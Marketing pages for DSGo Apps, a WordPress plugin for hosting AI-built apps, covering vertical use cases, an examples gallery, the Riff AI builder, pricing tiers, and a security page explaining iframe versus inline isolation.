Accountants and finance practices compete on trust. The shared Dropbox folders, the off-brand intake form on a separate domain, the "send me your docs to my Gmail" ritual, all of those undercut the perception you're selling. A logged-in portal on your own domain, reading the right client's data, fixes that in one app.

[Install free plugin](/downloads/designsetgo-apps.zip) [All verticals →](/use-cases/) 

![Tax paperwork, a calculator, and a laptop arranged on a desk.](/use-cases/finance.jpg) 

Three you could build

## Pick one, paste the prompt below into Claude. 

01

### Client document portal

Logged-in clients upload tax docs via `dsgo.media.upload`; you see them filed per client. Replaces the shared Dropbox.

02

### Tax intake wizard

Multi-step form, persisted per visitor. Clients pause and resume; you get a draft email when they finish. Replaces a $50/mo Typeform.

03

### Quarterly estimate dashboard

Logged-in clients see their own prior data (from a private CPT) projected forward. No spreadsheets emailed.

Paste this into Claude.ai, ChatGPT, or your editor →

“A client document portal. Logged-in clients upload tax docs; I see them filed per client.”

The pattern

## Same loop for every vertical. 

Describe the app. Drop it into wp-admin (or scaffold + deploy with the CLI). Approve the permissions. Embed it where you want it. 

## Build the first one. 

Install free, paste the prompt above into Claude, drop the result in wp-admin. Five minutes, no card. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/) 

Other verticals

[Real estate](/use-cases/real-estate/)[Food & recipes](/use-cases/food/)[Fitness & coaching](/use-cases/fitness/)[Education & courses](/use-cases/education/)[Local services & appointments](/use-cases/local-services/)[WooCommerce shops](/use-cases/woocommerce/)

## Education & courses apps

URL: https://designsetgo.dev/use-cases/education/

Education & courses

# Student dashboards and submission flows without paying for LearnDash.

You don't need a six-figure LMS to ship a course. A cohort dashboard, an assignment portal, a flashcard trainer, those are small apps. Build them in a chat. Drop them in. Pulls from your existing course posts.

[Install free plugin](/downloads/designsetgo-apps.zip) [All verticals →](/use-cases/) 

![A group of students gathered around a laptop in a lecture hall.](/use-cases/education.jpg) 

Three you could build

## Pick one, paste the prompt below into Claude. 

01

### Cohort dashboard

Logged-in students see their own cohort, assignments, and progress, pulled from posts. Members of other cohorts see only theirs.

02

### Assignment submission portal

Students upload work via `dsgo.media.upload`; the file is gated to their account; you grade in wp-admin.

03

### Spaced-repetition flashcards

Per-user storage tracks recall and schedules reviews. State survives across sessions, devices, and visits.

Paste this into Claude.ai, ChatGPT, or your editor →

“A cohort dashboard. Logged-in students see their assignments, classmates, and progress from CPT posts.”

The pattern

## Same loop for every vertical. 

Describe the app. Drop it into wp-admin (or scaffold + deploy with the CLI). Approve the permissions. Embed it where you want it. 

## Build the first one. 

Install free, paste the prompt above into Claude, drop the result in wp-admin. Five minutes, no card. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/) 

Other verticals

[Real estate](/use-cases/real-estate/)[Food & recipes](/use-cases/food/)[Fitness & coaching](/use-cases/fitness/)[Finance & accounting](/use-cases/finance/)[Local services & appointments](/use-cases/local-services/)[WooCommerce shops](/use-cases/woocommerce/)

## Local services apps

URL: https://designsetgo.dev/use-cases/local-services/

Local services & appointments

# Booking, intake, and service-area tools on your own domain.

Plumbers, dentists, salons, agencies, anyone selling time slots. Calendly costs $25/mo per seat, looks generic, and lives on a different domain. A DSGo booking app reads your real services, takes the booking, emails you, and remembers the visitor next time. Same workflow, your brand, $0/mo extra.

[Install free plugin](/downloads/designsetgo-apps.zip) [All verticals →](/use-cases/) 

![Organized service tools and parts stored inside a work van.](/use-cases/local-services.jpg) 

Three you could build

## Pick one, paste the prompt below into Claude. 

01

### Appointment booking

Reads your `service` CPT, books visitors in via storage, emails you each booking. Visitors see their upcoming appointments from their account.

02

### Service-area checker

Visitor enters a ZIP; app says yes/no based on the areas you have published. Captures out-of-area leads as a waitlist.

03

### Multi-step intake form

Long forms (insurance details, project scope) that persist between visits. Visitor pauses, comes back, finishes; you get a clean email.

Paste this into Claude.ai, ChatGPT, or your editor →

“An appointment booking widget for my consultation slots. Email me each booking; show the visitor their next appointment.”

The pattern

## Same loop for every vertical. 

Describe the app. Drop it into wp-admin (or scaffold + deploy with the CLI). Approve the permissions. Embed it where you want it. 

## Build the first one. 

Install free, paste the prompt above into Claude, drop the result in wp-admin. Five minutes, no card. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/) 

Other verticals

[Real estate](/use-cases/real-estate/)[Food & recipes](/use-cases/food/)[Fitness & coaching](/use-cases/fitness/)[Finance & accounting](/use-cases/finance/)[Education & courses](/use-cases/education/)[WooCommerce shops](/use-cases/woocommerce/)

## WooCommerce apps

URL: https://designsetgo.dev/use-cases/woocommerce/

WooCommerce shops

# Catalog-aware tools that lift conversion without a custom plugin.

WooCommerce powers 5M+ stores. Most of the conversion-lift tools (gift finders, configurators, loyalty dashboards) need a custom plugin or a third-party SaaS. A DSGo app reads the live product catalog through the bridge and ships in a chat instead.

[Install free plugin](/downloads/designsetgo-apps.zip) [All verticals →](/use-cases/) 

![A shop owner packing a cardboard product box for shipment.](/use-cases/woocommerce.jpg) 

Three you could build

## Pick one, paste the prompt below into Claude. 

01

### Gift finder quiz

5-question quiz, end-screen recommends 3 products from the live catalog. "Add to cart" works directly via `dsgo.commerce.cart.add`.

02

### Custom bundle builder

Visitors compose their own bundle from your catalog; the app prices it live, adds the components to the cart in one go.

03

### Loyalty / rewards dashboard

Logged-in customers see their points, redeemable discounts, order history. Per-user storage; no third-party loyalty app.

Paste this into Claude.ai, ChatGPT, or your editor →

“A gift finder quiz that reads my product catalog. End-screen shows 3 recommended products with add-to-cart.”

The pattern

## Same loop for every vertical. 

Describe the app. Drop it into wp-admin (or scaffold + deploy with the CLI). Approve the permissions. Embed it where you want it. 

## Build the first one. 

Install free, paste the prompt above into Claude, drop the result in wp-admin. Five minutes, no card. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/) 

Other verticals

[Real estate](/use-cases/real-estate/)[Food & recipes](/use-cases/food/)[Fitness & coaching](/use-cases/fitness/)[Finance & accounting](/use-cases/finance/)[Education & courses](/use-cases/education/)[Local services & appointments](/use-cases/local-services/)

## Examples

URL: https://designsetgo.dev/examples/

Examples

#  Real WordPress apps. Fork any. Submit yours. 

 Run AI-built apps on your WordPress site: they read your real posts, pages, and users, and run sandboxed so a broken app can't break your site. 

 Every app on this page runs on a real site, ships through the same plugin you install on yours. Some we built. Some the community built. The line is which GitHub org the repo lives in. 

Shape All Block In-post Full-page Tool 

Integration WordPress WooCommerce AI Email Stripe 

Source All Official Community 

[ ![](/examples/account.png) DSGo ](/examples/account) [ A members area for your site A real account area: profile, the visitor's own posts, per-user preferences that save between visits. Logged-out visitors see a friendly sign-in prompt instead of an error. multi-pageuser ](/examples/account) 

[Live ↗ ](https://designsetgo.dev/apps/account) [Remix on GitHub ](https://github.com/DesignSetGo/member-portal) 

[ ![](/examples/contact.png) DSGo ](/examples/contact) [ A contact form that just works A polished form on your site that emails you when visitors reach out. The app never holds an SMTP password, WordPress's built-in mailer handles delivery. email.sendforms ](/examples/contact) 

[Live ↗ ](https://designsetgo.dev/apps/contact) [Remix on GitHub ](https://github.com/DesignSetGo/contact) 

[ ![](/examples/content-navigator.png) DSGo ](/examples/content-navigator) [ A reader for recent posts A searchable reading desk for the host site. It reads recent WordPress posts through the bridge, filters them client-side, and lets logged-in visitors save a lightweight bookmark. posts.liststorage.user ](/examples/content-navigator) 

[Live ↗ ](https://designsetgo.dev/apps/content-navigator) [Remix on GitHub ](https://github.com/DesignSetGo/content-navigator) 

[ ![](/examples/event-rsvp-board.png) DSGo ](/examples/event-rsvp-board) [ An RSVP board for event posts A compact event signup board that keeps a shared reserved-seat count. Drop it into an event announcement, workshop page, or member update. storage.appforms ](/examples/event-rsvp-board) 

[Live ↗ ](https://designsetgo.dev/apps/event-rsvp-board) [Remix on GitHub ](https://github.com/DesignSetGo/event-rsvp-board) 

[ ![](/examples/quicktool.png) DSGo ](/examples/quicktool) [ A color contrast checker Pick two colors, see whether they pass WCAG accessibility ratios. One HTML file, no build step, no bridge calls, drop in a saved Claude artifact and ship. single-filezero-build ](/examples/quicktool) 

[Live ↗ ](https://designsetgo.dev/apps/quicktool) [Remix on GitHub ](https://github.com/DesignSetGo/quicktool) 

[ ![](/examples/recipe-ranker.png) DSGo ](/examples/recipe-ranker) [ A leaderboard you drop into any post A ranked list of your most-read recipes that drops into any blog post via Gutenberg. The block keeps a private per-visitor tally so the order stays useful, not gameable. posts.liststorage.app ](/examples/recipe-ranker) 

[Live ↗ ](https://designsetgo.dev/our-recipe-roundup/) [Remix on GitHub ](https://github.com/DesignSetGo/recipe-ranker) 

[ ![](/examples/shop.jpg) DSGo ](/examples/shop) [ A storefront for your shop A polished product grid, cart, and checkout that lives alongside your existing WooCommerce store. No theme tweaks. If the app breaks, your site is fine. commercemulti-page ](/examples/shop) 

[Live ↗ ](https://designsetgo.dev/apps/shop) [Remix on GitHub ](https://github.com/DesignSetGo/shop) 

[ BLOCK Size & fit recommender DSGo ](/examples/woo-fit-recommender) [ Size & fit recommender Embedded on WooCommerce product pages, asks a couple of fit questions and recommends a size. Persists answers per visitor so repeat shoppers skip the quiz. commercestorage.user ](/examples/woo-fit-recommender) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-fit-recommender) 

[ FULL PAGE A canvas for your block content DSGo ](/examples/block-renderer) [ A canvas for your block content Render any WordPress page inside your app with both core blocks and DesignSetGo Blocks styled exactly the way the theme renders them on the front end. Inline mode means a real WordPress URL, no sandbox, and block JavaScript that needs cookies just works. pages.listcontent.blockStyles ](/examples/block-renderer) 

[Live ↗ ](https://designsetgo.dev/apps/block-renderer) [Remix on GitHub ](https://github.com/DesignSetGo/block-renderer) 

[ ![](/examples/content-companion.png) DSGo ](/examples/content-companion) [ An editor sidebar that critiques your draft Lights up May 20, 2026 with WordPress 7.0\. An editor-side panel that reads the post you are drafting and returns clarity, SEO, and headline suggestions from your site's AI provider. Your API key stays in WordPress; the app never sees it. ai.promptabilities.invoke ](/examples/content-companion) 

[Remix on GitHub ](https://github.com/DesignSetGo/ai-content-companion) 

[ ![](/examples/pricing.png) DSGo ](/examples/pricing) [ A pricing page Google can index A real WordPress URL with your theme's header and footer wrapped around it, search-indexable, sitemap-included, native navigation. The interactive bits still work like a single-page app. inlinetheme-wrapped ](/examples/pricing) 

[Live ↗ ](https://designsetgo.dev/apps/pricing) [Remix on GitHub ](https://github.com/DesignSetGo/pricing-page) 

[ ![](/examples/service-quote-builder.png) DSGo ](/examples/service-quote-builder) [ A quote builder for service pages Visitors choose a package, add common upgrades, and get a clear project estimate without leaving your WordPress page. It feels like a native product surface, but stays sandboxed from the theme. site.infocalculator ](/examples/service-quote-builder) 

[Live ↗ ](https://designsetgo.dev/apps/service-quote-builder) [Remix on GitHub ](https://github.com/DesignSetGo/service-quote-builder) 

[ BLOCK A Stripe checkout the iframe never holds a key for DSGo ](/examples/stripe-checkout) [ A Stripe checkout the iframe never holds a key for A working Stripe Checkout button that creates real hosted checkout sessions. The Stripe secret stays in a sodium-encrypted per-app vault on your server; the iframe references it as {{STRIPE\_SECRET}} and the bridge substitutes it server-side before the request leaves your site. http-proxysecret-vault ](/examples/stripe-checkout) 

[Live ↗ ](https://designsetgo.dev/apps/stripe-checkout) [Remix on GitHub ](https://github.com/DesignSetGo/stripe-checkout) 

[ BLOCK Abandoned cart recovery DSGo ](/examples/woo-abandoned-cart-recovery) [ Abandoned cart recovery Win-back tool for abandoned WooCommerce carts. Saves cart contents per visitor; emails a configurable nudge if a session abandons. commerceemail.send ](/examples/woo-abandoned-cart-recovery) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-abandoned-cart-recovery) 

[ FULL PAGE Build-your-own bundle DSGo ](/examples/woo-bundle-builder) [ Build-your-own bundle Visitor-facing bundle builder. Reads products from the WooCommerce catalog, lets shoppers compose a bundle, and hands the cart-add off to Woo. commercemulti-page ](/examples/woo-bundle-builder) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-bundle-builder) 

[ BLOCK Extra checkout fields DSGo ](/examples/woo-checkout-fields) [ Extra checkout fields Configurable extra fields at WooCommerce checkout (gift messages, delivery notes, custom data). Persists per order via the bridge. commerceforms ](/examples/woo-checkout-fields) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-checkout-fields) 

[ BLOCK Gift card balance lookup DSGo ](/examples/woo-giftcard-balance) [ Gift card balance lookup Drop-in widget for any page: enter a gift card code, see the remaining balance. Sandboxed UI; never reveals the underlying ledger. commerceforms ](/examples/woo-giftcard-balance) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-giftcard-balance) 

[ FULL PAGE Loyalty dashboard DSGo ](/examples/woo-loyalty-dashboard) [ Loyalty dashboard Per-customer loyalty dashboard: tier, points, recent order activity. Logged-in only; reads user + order data via the bridge. commerceuser ](/examples/woo-loyalty-dashboard) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-loyalty-dashboard) 

[ BLOCK Local pickup scheduler DSGo ](/examples/woo-pickup-scheduler) [ Local pickup scheduler Time-slot picker for local-pickup orders at checkout. Stores the chosen slot on the order; admin-side configurable slot inventory. commerceforms ](/examples/woo-pickup-scheduler) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-pickup-scheduler) 

[ BLOCK Post-purchase survey DSGo ](/examples/woo-post-purchase-survey) [ Post-purchase survey Single-question survey on the WooCommerce thank-you page. Persists per-order responses; never gets in the way of the receipt. commerceforms ](/examples/woo-post-purchase-survey) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-post-purchase-survey) 

[ BLOCK Pre-order signup DSGo ](/examples/woo-preorder-signup) [ Pre-order signup Email signup widget for out-of-stock or upcoming WooCommerce products. Stores signups per-product; emails when stock returns. commerceemail.send ](/examples/woo-preorder-signup) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-preorder-signup) 

[ BLOCK Product Q&A board DSGo ](/examples/woo-product-qa) [ Product Q&A board Public Q&A board on each WooCommerce product page. Shoppers ask, owner answers, answers are public. Per-product threaded storage. commercestorage.app ](/examples/woo-product-qa) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-product-qa) 

[ BLOCK Smart cart upsell DSGo ](/examples/woo-smart-cart-upsell) [ Smart cart upsell Cart-drawer upsell that suggests complementary products based on what's in the cart. Updates live as the cart changes. commerceblock-embed ](/examples/woo-smart-cart-upsell) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-smart-cart-upsell) 

[ FULL PAGE Store locator DSGo ](/examples/woo-store-locator) [ Store locator Map + list view of physical store locations. Reads location data from a configured WP post type; client-side filtering by region. posts.listmulti-page ](/examples/woo-store-locator) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-store-locator) 

[ BLOCK Subscription FAQ DSGo ](/examples/woo-subscription-faq) [ Subscription FAQ Subscription-specific FAQ widget. Inline mode means the FAQ lives at a real WordPress URL and is indexable by Google. inlinetheme-wrapped ](/examples/woo-subscription-faq) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-subscription-faq) 

[ BLOCK Wholesale account request DSGo ](/examples/woo-wholesale-request) [ Wholesale account request Wholesale account request form. Visitor submits business details; the form emails the site owner with reply-to set to the submitter. email.sendforms ](/examples/woo-wholesale-request) 

[Remix on GitHub ](https://github.com/DesignSetGo/woo-wholesale-request) 

Built one of your own?

**Open a PR, we list every working app.**

[Submit your app](https://github.com/DesignSetGo/community-apps#submit) 

 No matches. Loosen a filter, or submit one that fits. 

## Put your _first app_ on your site.

Install the free plugin, drop in a saved Claude or ChatGPT page, and it's live at /apps/your-thing in under a minute.

[Install free plugin](/downloads/designsetgo-apps.zip) [Quickstart](/quickstart)

## Riff, the in-admin AI builder

URL: https://designsetgo.dev/riff/

PRO Lights up May 20, 2026 with WP 7.0 BETA 

# Build apps with AI without leaving WordPress. 

Riff lives inside wp-admin. Describe what you want in plain English, watch it draft the app live, review the permissions in human terms, install it with one click. It uses your site's configured AI provider (Anthropic, OpenAI, or Google), so we never hold your keys and never bill for inference. 

[See pricing](/pricing/) [How it works](#how-it-works) 

 25 seconds, prompt to live URL. Same runtime, same bundle format, same Gutenberg / Elementor / home-page mount paths as a CLI-deployed app. 

How it works

## Three steps. No terminal.

Open **DSGo Apps then New app** in wp-admin. The rest is a conversation. 

1 Describe it 

### Plain English, like a brief.

_"A booking widget for my consultation slots that emails me each booking and shows the visitor their next appointment."_ No code, no separate tool to learn. 

wp-admin then New app 

2 Riff drafts it 

### Live preview, plain-English permissions.

Watch the app draft live. Permissions surface in human terms ("wants to read your posts"), not OAuth scopes. Iterate by chatting: _"make the result bigger,"_ _"use my brand colors."_ 

live preview · plain-English permissions 

3 One-click install 

### Live at /apps/{slug}

Drop it into any post via the DSGo Gutenberg block, an Elementor widget, or promote it to your site's home page. No deploy step, no FTP. Same sandbox as a CLI-deployed app. 

install · same runtime as the CLI 

What you can build with it

## Real apps for the kind of site you already run. 

Paste any of these into Riff. The AI writes the app, the plugin runs it, you embed it where you want it. Browse [use cases](/use-cases/) for more by vertical. 

### A booking widget

Paste into Riff →

"A class booking widget that reads my upcoming sessions and emails me each booking."

Reads your sessions from a WordPress CPT, books visitors in via per-user storage, drops a notification email in your inbox on every booking.

### A mortgage calculator

Paste into Riff →

"A mortgage calculator with PMI, taxes, and HOA. Show the amortization in a table."

Standalone interactive widget, lives at `/apps/mortgage`, embeddable as a Gutenberg block or Elementor widget on any listing page.

### A lead-magnet quiz

Paste into Riff →

"A 6-question quiz that recommends one of my services and captures the email at the end."

Saves the lead under the visitor's WordPress account, shows you the answers in wp-admin, no third-party form service.

### A members-only portal

Paste into Riff →

"A members area: login-gated, shows the visitor's saved recipes and a button to add new ones."

Reads the visitor's current WP login, uses per-user storage for their saved list, gated by a permission you approve on install.

Your AI provider, your bill

## We never hold your keys.

Riff does the engineering around the AI call: it writes the prompts, checks the output, and fixes common mistakes before you ever see the app. The actual model calls go through the provider account _you_ configured in WordPress. 

01

### Configure once, in WordPress.

Site admin sets up Anthropic, OpenAI, or Google credentials once at Settings then Connectors (new in WordPress 7.0). Every AI feature on the site, Riff included, inherits that configuration.

02

### Riff calls through your provider.

When you prompt Riff, the request goes from wp-admin to WordPress's AI client to your configured provider. DSGo sees the prompt template and the response; we never see your API key, and the inference bill lands on your provider account, not ours.

03

### No usage caps, no markup.

Because we don't pay for inference, we don't cap it. Use as much of your provider quota as you want. The Pro subscription is for the authoring stack (Riff, CLI deploy, Pro runtime features), priced like a tool, not a meter.

**Requires WordPress 7.0**, which ships May 20, 2026\. The plugin runs on WordPress 6.9 and up for everything else (drop-HTML upload, CLI deploy, bridge runtime), but Riff itself depends on the Connectors API and WP AI Client that arrive with 7.0\. 

Why this is safe

## Sandboxed by default. Permissioned by you. 

Apps Riff builds run in the same browser-level sandbox as CLI-deployed apps. Nothing the AI writes can touch your theme, your other plugins, or the rest of your site. 

01

### Apps see only what you allow.

Every Riff app declares what it needs (read posts, read the current user, save preferences) and you approve it on install in plain English. "This app wants to: read your posts." Not OAuth scopes, not JWT permissions.

02

### A broken app shows a broken app.

Not a broken site. The rest of the post, the theme, the menu, the checkout, all keep working. Worst case: that one widget shows an error. Delete it from wp-admin and move on.

03

### No code in your theme.

Riff doesn't paste code into your functions.php or your theme files. The app is its own bundle on disk, served at its own URL, isolated from the WordPress runtime.

[More on the sandbox →](/security/) 

Riff or the CLI?

## Same runtime, different doorway.

Riff and the CLI produce the same bundle format, the same manifest, the same sandboxed app at `/apps/{slug}`. Pick whichever fits where you already work. 

Use Riff if 

### You build in wp-admin.

You think about the app in plain English, not code. You want to ship it without opening a terminal, an editor, or a new tab. You want the permissions surfaced in human terms before you click install. You iterate by chatting, not by editing files. 

`wp-admin → DSGo Apps → New app` 

Use the CLI if 

### You build in Claude Code, Cursor, or Codex.

You already have an AI coding agent open. You want to deploy the bundle you're building from your editor, push updates atomically, and version-control the project. [CLI flow →](/developers/) 

`designsetgo apps deploy` 

FAQ

## The honest questions.

Do I pay for AI usage separately? + 

Yes, but not to us. Riff calls through whatever provider you configured in WordPress at Settings then Connectors (Anthropic, OpenAI, or Google). Your provider bill is your provider bill; we never hold your API key and never mark up the inference calls. The Pro subscription covers the authoring stack, not the model usage.

What happens to apps I built in Riff if I cancel Pro? + 

They stay installed and keep running. You lose the ability to iterate them inside wp-admin (Riff itself goes away with the subscription), but the apps themselves are just bundles on disk. They keep their URLs, their permissions, and their data. If an app depended on Pro-only runtime features (scheduled jobs, webhooks, dynamic routes, abilities-publishing), those go inert until you upgrade again, but the rest of the app continues to work.

Can I edit a Riff-built app in Claude Code later? + 

Yes. Every Riff app is the same bundle format as a CLI-deployed app: a manifest, an entry HTML, and the assets it references. Export the bundle from wp-admin, open the folder in Claude Code or Cursor, iterate, and push the next version with designsetgo apps deploy. Same app id, same URL, same data, atomic update.

Does Riff work before May 20, 2026? + 

Not yet. Riff depends on the WordPress 7.0 Connectors API and WP AI Client, which ship in core on May 20, 2026\. The plugin itself works on WordPress 6.9, but the in-admin AI builder lights up when you upgrade to 7.0\. Until then: build apps with Claude, Cursor, ChatGPT, or v0, then drop the saved HTML into wp-admin (free, 1 active app) or push from the CLI (Pro).

## Riff is included on every Pro plan. 

From $149.99/yr. 14-day trial, no card required to start. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/)

## Pricing

URL: https://designsetgo.dev/pricing/

Pricing

#  Free to start. Pro from $149.99/year. 

 Free hosts 1 AI-built app on your WordPress site, no card. Pro trial auto-activates on install for 14 days. Pro adds CLI deploy from your code editor, an AI builder inside wp-admin, and unlimited apps. 

 Every plan starts the same way: install the free plugin. The 14-day Pro trial turns on automatically, and you decide later, inside WordPress. Either way it's your own AI provider account and your own bill; we never hold your keys or mark up model calls. 

 Annual save \~17% Monthly 

### Free

 Try it on your site. No card. Pro trial activates on install. 

$0 forever 

● 1 WordPress site

● 1 active app after trial

[Install free plugin →](/downloads/designsetgo-apps.zip) 

---

* ✓Drop in a Claude / ChatGPT / v0 page, or a built zip
* ✓14-day Pro trial unlocks everything on install
* ✓Apps read your real posts, pages, and current user
* ✓Sandboxed, a broken app can't break your site
* ✓Community support (forums, GitHub)

FOR BUILDERS 

### Pro

 Deploy from Claude Code / Cursor / Codex, plus the AI builder inside wp-admin. 

$149.99 / year 

or $14.99/month · save \~17% annual

● Up to 3 WordPress sites

● 14-day trial included on install

[Install free plugin →](/downloads/designsetgo-apps.zip) 

---

* ✓Deploy from Claude Code, Cursor, or Codex with one command
* ✓Riff: build and edit apps with AI inside wp-admin
* ✓Unlimited apps, plus apps that run on a schedule
* ✓Everything in Free, with deeper WordPress data access for apps that need it
* ✓Email support

### Studio

 White-label, private template registry, and unlimited sites for agencies. 

$499 / year 

or $49.99/month · save \~17% annual

● Unlimited WordPress sites

● 14-day trial included on install

[Install free plugin →](/downloads/designsetgo-apps.zip) 

---

* ✓Everything in Pro
* ✓Multi-site CLI deploy: push one app to every client site
* ✓White-label: rebrand the plugin under your agency name
* ✓Private template registry (host your own starter library)
* ✓Priority email support

 All Pro plans renew at the same price you signed up at; no "introductory rate that triples next year" trick. Cancel anytime; you keep using Pro until the current billing period ends. 

14-day trial

##  Try every Pro feature for 14 days. 

 No card required to start. Nothing charges automatically. On day 15, if you haven't picked a plan, the Pro features turn off and your apps stay installed. 

[Install free plugin](/downloads/designsetgo-apps.zip) 

Full Pro access, day 1

CLI deploy

deploy from Claude Code, Cursor, or Codex

Riff

the AI builder inside wp-admin, using your own AI account

Scheduled jobs

apps that run automatically on a schedule

Multi-site push

Studio only, one deploy to N client sites

White-label

Studio only, your agency, your branding

Compare plans

##  Side by side. What actually changes. 

 Free hosts AI-built apps on your site. Pro and Studio add the tools to build, automate, and scale them. 

| Feature                            | Free $0   | Pro $149.99/yr | Studio $499/yr |
| ---------------------------------- | --------- | -------------- | -------------- |
| Apps you can host on one site      | 1         | Unlimited      | Unlimited      |
| Number of sites you can use it on  | 1         | 3              | Unlimited      |
| Deploy from your code editor (CLI) | —         | ✓              | ✓              |
| Build apps with AI inside wp-admin | —         | ✓              | ✓              |
| Apps that run on a schedule        | —         | ✓              | ✓              |
| Multi-site CLI deploy              | —         | —              | ✓              |
| White-label (rebrand the plugin)   | —         | —              | ✓              |
| Support                            | Community | Email          | Priority email |

FAQ

##  The honest  
questions. 

 Can't find what you need? [Email us](/contact/); humans only, no chat bots. 

[Read the full docs →](/docs/) 

What's actually different between Free and Pro? + 

Free **hosts** apps: drop in HTML or a built zip, get a real URL, and your apps can read your WordPress posts, pages, and users, all inside a sandbox. Pro **builds and ships more**: deploy from your code editor with one command, or describe what you want to Riff, the AI builder inside wp-admin, and it builds the app right there. Pro also unlocks unlimited active apps, apps that run on a schedule, and using the plugin on multiple sites under one license.

Do I need to know how to code? + 

No. The most common workflow: ask Claude (or ChatGPT, or v0) to build whatever you want, a booking widget, a member portal, a multi-page mini-site, then save it (one HTML file or a zip of the built static site) and drop it into wp-admin. The plugin wraps it in a sandbox so the thing you built actually lives on your WordPress site. If you do code, the optional CLI lets your AI editor (Claude Code, Cursor, Codex) deploy directly from your project.

What counts as an "app"? My booking widget is one; does my contact form count as a second? + 

Yes. An app = one installed bundle, regardless of how many places you embed it or how many pages it has internally. A 10-page member portal counts as one app. A single-file contact form counts as one app. If you embed the same booking widget with the Gutenberg block, Elementor widget, or shortcode in 30 different posts, that's still one app. **Free lets you install as many bundles as you want but only one is active at a time** (switchable in the apps list); Pro and Studio lift the cap so every installed bundle runs simultaneously.

What happens at the end of the 14-day trial? + 

Nothing happens automatically. The trial starts with no card and we don't ask for one along the way. On day 15, if you haven't upgraded, the Pro features simply turn off: the code-editor deploy, Riff (the AI builder in wp-admin), multi-site push, white-label, and apps that run on a schedule all go inert. **Apps you built during the trial stay installed and keep working.** To keep Pro, pick annual or monthly in your account before day 14 expires.

Will you charge me for AI usage? + 

No. We never hold your API keys and never pay for the AI calls. When an app uses AI, the request goes through your own provider account (Anthropic, OpenAI, or Google) configured in WordPress. The Pro subscription covers the authoring tools, building, deploying, multi-site, not the model calls themselves.

What counts as a "site"? + 

One live WordPress installation. Local development sites (anything at `*.test` or `localhost`) don't count toward your seat limit, so you can experiment freely.

What's your refund policy? + 

14-day money-back guarantee, no questions asked. Email us within 14 days of purchase and we'll process the refund. After 14 days, the subscription isn't refundable, but you can [cancel renewal anytime](/account/) and keep using Pro for the remainder of your billing period (the rest of the year on annual, the rest of the month on monthly).

Can I downgrade or cancel later? + 

Yes. [Cancel renewal anytime](/account/) in your account; Pro keeps working until the end of the period you paid for, then the site reverts to Free. Apps you built while on Pro stay installed and keep running, but you lose the code-editor deploy, Riff, multi-site push, white-label, and any scheduled-run features those apps depended on.

Do you offer monthly billing or one-time purchases? + 

Yes to monthly billing, no to one-time purchases. Annual is the best value and is selected by default; monthly is there if you want a smaller commitment while you prove out the workflow.

Is there an affiliate program? + 

Yes: 30% commission on first-year revenue, 30-day cookie. [Email us](/contact/) if you publish about Claude, WordPress, or AI tooling and want a referral link.

Is the plugin open source? + 

Partly. The plugin runtime, bridge client (a permission-checked connection to your posts, pages, and users), and CLI are open source on GitHub, MIT-licensed. See [the developer docs](/developers/) for the repos and full technical details. The hosted plugin package itself is proprietary.

##  Ready to drop an AI-built app on your site? 

 Install the free version in 30 seconds. The 14-day Pro trial turns on automatically, so the AI builder inside wp-admin is ready when you are. 

[Install free plugin](/downloads/designsetgo-apps.zip) [Read the docs](/docs/)

## Security & trust

URL: https://designsetgo.dev/security/

Security & trust

# Two modes. Two trust models. 

 DSGo Apps is not one blanket sandbox story. Iframe mode is the strongest isolation path for untrusted drop-ins. Inline mode gives you crawlable, indexable pages, but it should be treated like trusted code running inside your WordPress site. 

Three things that are always true

* ✓ **Sandboxed by design.** Every app runs inside an iframe sandbox or behind strict per-request CSP. If the app crashes, your site stays up. The sandbox does not prevent all harm, but it contains the blast radius.
* ✓ **Read-only by default on free.** The free tier bridge exposes posts, pages, and the current user, all read-only. Write methods and AI calls are Pro features, and each one must be explicitly declared in the manifest and approved on install.
* ✓ **Your API keys never leave your site.** AI calls go through the WordPress Connector your admin configured. WordPress calls your provider through that Connector, and DSGo never holds, stores, sees, or charges for your keys. If you revoke the Connector, every app's AI access stops instantly.

If you run a site

### In plain English

Two settings. **Iframe mode** puts an app in a box your other site code cannot reach into; use it for things you did not write yourself, like a Claude or ChatGPT page.   **Inline mode** lets the app behave like a real page on your site (better for Google); use it when the code is something you or your team built and reviewed. The plugin's default for an uploaded HTML file is iframe, which is the safe choice. [See real examples →](/use-cases/) 

The short version

## Use iframe for untrusted code. Use inline when the app is part of the site. 

Strong isolation 

### Iframe mode

Runs inside an iframe sandbox without `allow-same-origin`, so the app cannot touch the parent DOM, real cookies, or origin storage. Best for Claude artifacts, third-party bundles, and anything you did not personally audit. 

`"isolation": "iframe"` 

Trusted-code mode 

### Inline mode

Renders as a real WordPress page with CSP, sanitization, routing, and sitemap support. That gives you SEO and native URLs, but the bundle is same-origin code. Treat it like any other trusted plugin or theme code you install. 

`"isolation": "inline"` 

What the bridge does

## Permissions are real, but not the whole story. 

The bridge enforces manifest permissions and keeps REST/auth logic in one place. Apps never receive a REST token. That matters in both modes, but it matters most in iframe mode because the browser boundary is also enforcing separation. 

v1

### What v1 guarantees

* ✓ **Declared bridge permissions are enforced.** Methods reject when the manifest did not request the needed capability.
* ✓ **Apps never get a REST token.** The host makes the WordPress REST call on the app's behalf.
* ✓ **Iframe apps get a browser sandbox boundary.** That is the right mode for untrusted bundles.
* ✓ **Inline apps get CSP + sanitization, not a browser sandbox.** That improves safety, but it is still trusted same-origin code.

Decision rule

## Choose the mode by the source of the code. 

01

### Unknown source

Downloaded artifact, generated bundle, outside contractor handoff, experimental prototype. Use iframe mode.

02

### Known, reviewed code

Your team built it, reviewed it, and needs crawlable routes or root-mount behavior. Inline mode is appropriate.

03

### Need both

